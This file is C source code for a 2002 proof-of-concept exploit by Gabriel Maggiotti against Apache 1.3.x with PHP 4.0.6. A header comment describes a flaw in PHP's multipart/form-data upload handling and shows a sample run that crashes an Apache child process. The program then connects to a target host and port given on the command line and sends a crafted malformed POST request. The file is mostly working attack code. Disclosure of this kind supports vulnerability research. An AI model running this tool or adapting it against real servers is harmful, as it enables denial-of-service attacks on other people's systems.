/*
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Web:  http://qb0x.net                   Author: Gabriel A. Maggiotti
Date: Febrary 03, 2002                  E-mail: gmaggiot@ciudad.com.ar
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Summary
-------
This  is  a proof  of concept exploit for Apache/1.3.x + php_4.0.6.  This 
code exploit multipart/form-data POST requests bug. This code only  crash
 apache deamon, not open any shell or  execute code  in  the remote server. 
PHP supports  multipart/form-data POST  requests  (as described in RFC1867)
known as POST fileuploads.  Unfourtunately there  are  several flaws in the
php_mime_split function that could be used by an attacker to execute  arbi-
trary code. I dont know if the vuln I exploit is a known vuln or not.

Example:
-------

<quote>
[gabi@pluto logs]$ ./apache_php host 80 hi.php
[gabi@pluto logs]$ cat /www/logs/error_log

[Sun Mar  3 02:50:36 2002] [notice] child pid 26856 exit signal Segmentation
 fault (11)

[gabi@pluto logs]$ 
</quote>

Greets:
------
A special greets to Fernando Oubi#a and Sebastian Brocher, good friend  of
mime.
 
An very   special  greets for a  good   friend  and an excellent Security 
Consultant Alex Hernandez!!!

*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#include <fcntl.h>

#define MAX  1000
#define PORT  80

char *str_replace(char *rep, char *orig, char *string)
{
int len=strlen(orig);
char buf[MAX]="";
char *pt=strstr(string,orig);

strncpy(buf,string, pt-string );
strcat(buf,rep);
strcat(buf,pt+strlen(orig));
strcpy(string,buf);
return string;
}

int main(int argc,char *argv[MAX])
{
  int sockfd;
  int numbytes;
  int port;
  char *ptr;

  char POST_REQUEST[MAX] =
    "POST ##file HTTP/1.0\n"
    "Referer: http://host/xxxxxx/exp.php?hi_lames=haha\n"
    "Connection: Keep-Alive\nContent-type: multipart/for"
    "m-data; boundary=---------------------------1354088"
    "10612827886801697150081\nContent-Length: 567\n\n---"
    "--------------------------1354088106128278868016971"
    "50081\nContent-Disposition: form-data; name=\"\x8\"";

  struct hostent *he;
  struct sockaddr_in their_addr;

  if(argc!=4)
  {
    fprintf(stderr,"usage:%s <hostname> <port> <php_file>\n",argv[0]);
    exit(1);
  }

  port=atoi(argv[2]);
  ptr=str_replace(argv[3],"##file",POST_REQUEST);
  //ptr=POST_REQUEST;

  if((he=gethostbyname(argv[1]))==NULL)
  {
    perror("gethostbyname");
    exit(1);
  }


  if( (sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1) {
    perror("socket"); exit(1);
  }

  their_addr.sin_family=AF_INET;
  their_addr.sin_port=htons(port);
  their_addr.sin_addr=*((struct in_addr*)he->h_addr);
  bzero(&(their_addr.sin_zero),8);

  if( connect(sockfd,(struct sockaddr*)&their_addr,\
     sizeof(struct sockaddr))==-1)
  {
    perror("connect");
    exit(1);
  }

  
  if( send(sockfd,ptr,strlen(POST_REQUEST),0) ==-1)
  {
    perror("send");
    exit(0);
  }

  close(sockfd);

return 0;
}

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